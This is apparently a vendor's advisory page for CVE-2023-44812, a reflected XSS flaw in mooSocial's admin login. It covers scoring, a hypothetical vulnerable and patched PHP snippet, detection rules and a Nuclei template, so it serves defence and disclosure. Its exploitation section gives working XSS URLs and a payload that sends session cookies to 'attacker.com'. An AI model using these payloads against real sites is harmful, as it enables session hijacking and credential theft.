CVE-2023-44812
Executive Summary
CVE-2023-44812 is a reflected Cross-Site Scripting (XSS) vulnerability in mooSocial version 3.1.8. The flaw exists in the user login function, specifically within the admin_redirect_url parameter. An unauthenticated remote attacker can inject arbitrary JavaScript code via a crafted payload, which executes in the context of the victim's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 score of 6.1 (Medium) and a public proof-of-concept (PoC) is available. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a PHP-based web application (mooSocial). No NPM, PyPI, Go, or Ruby packages are directly involved. The risk is limited to the application's own codebase and its dependencies.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): Required (R) - Victim must click a crafted link.
- Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) - Limited data exposure.
- Integrity (I): Low (L) - Limited data modification.
- Availability (A): None (N) - No impact on availability.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the public availability of a PoC and the lack of a patch increase the urgency for mitigation.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the admin_redirect_url parameter of the login page (/admin/home/login). The application fails to properly sanitize or encode user input before reflecting it in the HTTP response. An attacker can craft a URL containing a malicious script, and when a victim (typically an administrator) clicks the link, the script executes in their browser.
The PoC URL uses base64 encoding and HTML injection:
/admin/home/login?admin_redirect_url=aHR0cDovL2xvY2FsaG9zdC9tb29zb2NpYWwvYWRtaW4vcGx1Z2lucw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest
The decoded admin_redirect_url value contains "><script>alert(document.domain)</script>test, which breaks out of the HTML attribute context and injects a script tag.
Vulnerable vs. Patched Code
Vulnerable Code (mooSocial 3.1.8):
The login function likely echoes the admin_redirect_url parameter without proper encoding.
// Vulnerable example
$redirect_url = $_GET['admin_redirect_url'];
echo '<input type="hidden" name="redirect" value="' . $redirect_url . '">';
Patched Code (Hypothetical): The fix would involve HTML entity encoding the output.
// Patched example
$redirect_url = $_GET['admin_redirect_url'];
echo '<input type="hidden" name="redirect" value="' . htmlspecialchars($redirect_url, ENT_QUOTES, 'UTF-8') . '">';
No official patch is available from the vendor.
Exploitation & Lab Setup
Red Team (Exploitation)
- Setup: Deploy mooSocial v3.1.8 in a controlled lab environment.
- Craft Payload: Use the provided PoC URL or create a custom one.
http://target/admin/home/login?admin_redirect_url=%22%3E%3Cscript%3Ealert(1)%3C/script%3E - Deliver: Send the crafted link to an authenticated admin user via email, social engineering, or other means.
- Execute: When the admin clicks the link, the script executes. For a more impactful attack, use a payload that steals session cookies:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Detection & Response)
- Monitor Logs: Look for unusual
admin_redirect_urlparameters containing<script>,%3Cscript%3E, or base64-encoded payloads. - Web Application Firewall (WAF): Deploy rules to block requests with XSS patterns in the
admin_redirect_urlparameter. - User Education: Train administrators to be cautious of unsolicited links, especially those containing login URLs.
- Input Validation: Implement server-side validation and output encoding for all user-supplied data.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/admin/home/loginwith a non-emptyadmin_redirect_urlparameter. - Requests containing
<script>,%3Cscript%3E, or base64-encoded strings in theadmin_redirect_urlparameter. - Outbound connections from the server to unknown IPs/domains (exfiltration).
- HTTP GET requests to
- Host IOCs:
- Web server logs showing the above patterns.
- Unexpected JavaScript execution in the browser of an admin user.
- File IOCs:
- No specific file-based IOCs for this vulnerability.
Detection Engineering
YARA Rule
rule CVE_2023_44812_XSS_Detection {
meta:
description = "Detects XSS attempts targeting CVE-2023-44812 in mooSocial"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-44812"
strings:
$xss_pattern1 = /admin_redirect_url=.*%3Cscript%3E/i
$xss_pattern2 = /admin_redirect_url=.*<script>/i
$xss_pattern3 = /admin_redirect_url=.*%22%3E%3C/i
condition:
any of them
}
Sigma Rule
title: CVE-2023-44812 - mooSocial XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts against mooSocial admin login
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'admin_redirect_url='
cs-uri-query|contains|all:
- '<script'
- '>'
condition: selection
falsepositives:
- Legitimate use of redirect with encoded characters (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-44812 - mooSocial XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/home/login"; http_uri; content:"admin_redirect_url="; http_uri; pcre:"/admin_redirect_url=.*(<script|%3Cscript)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2023-44812
info:
name: mooSocial v.3.1.8 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
A cross-site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code by sending a crafted payload to the admin_redirect_url parameter of the user login function.
impact: |
Allows attackers to execute malicious scripts in the context of a user's browser session.
remediation: |
Apply the vendor-supplied patch or upgrade to a version that addresses the XSS vulnerability.
reference:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/ahrixia/CVE-2023-44812
- https://nvd.nist.gov/vuln/detail/CVE-2023-44812
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-44812
cwe-id: CWE-79
epss-score: 0.49696
epss-percentile: 0.97823
cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: moosocial
product: moosocial
shodan-query: "http.favicon.hash:\"702863115\""
fofa-query: "icon_hash=\"702863115\""
tags: cve2023,cve,moosocial,xss,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: body
words:
- "mooSocial"
internal: true
case-insensitive: true
- method: GET
path:
- "{{BaseURL}}/admin/home/login?admin_redirect_url=aHR0cDovL2xvY2FsaG9zdC9tb29zb2NpYWwvYWRtaW4vcGx1Z2lucw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains(body, "<script>alert(document.domain)</script>")'
condition: and
Remediation & Mitigation
- Immediate: Implement a Web Application Firewall (WAF) rule to block requests containing
<script>or%3Cscript%3Ein theadmin_redirect_urlparameter. - Short-term: Manually patch the vulnerable code by applying
htmlspecialchars()or equivalent output encoding to theadmin_redirect_urlparameter before rendering. - Long-term: Upgrade to a patched version of mooSocial if/when the vendor releases one. Conduct a full security audit of the application.
- Compensating Controls: Enforce strict Content Security Policy (CSP) headers to mitigate the impact of XSS. Use HttpOnly and Secure flags for session cookies.
Valters IT
{/* [Security Hash: 78D8C654FF60A0D0A1259072] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.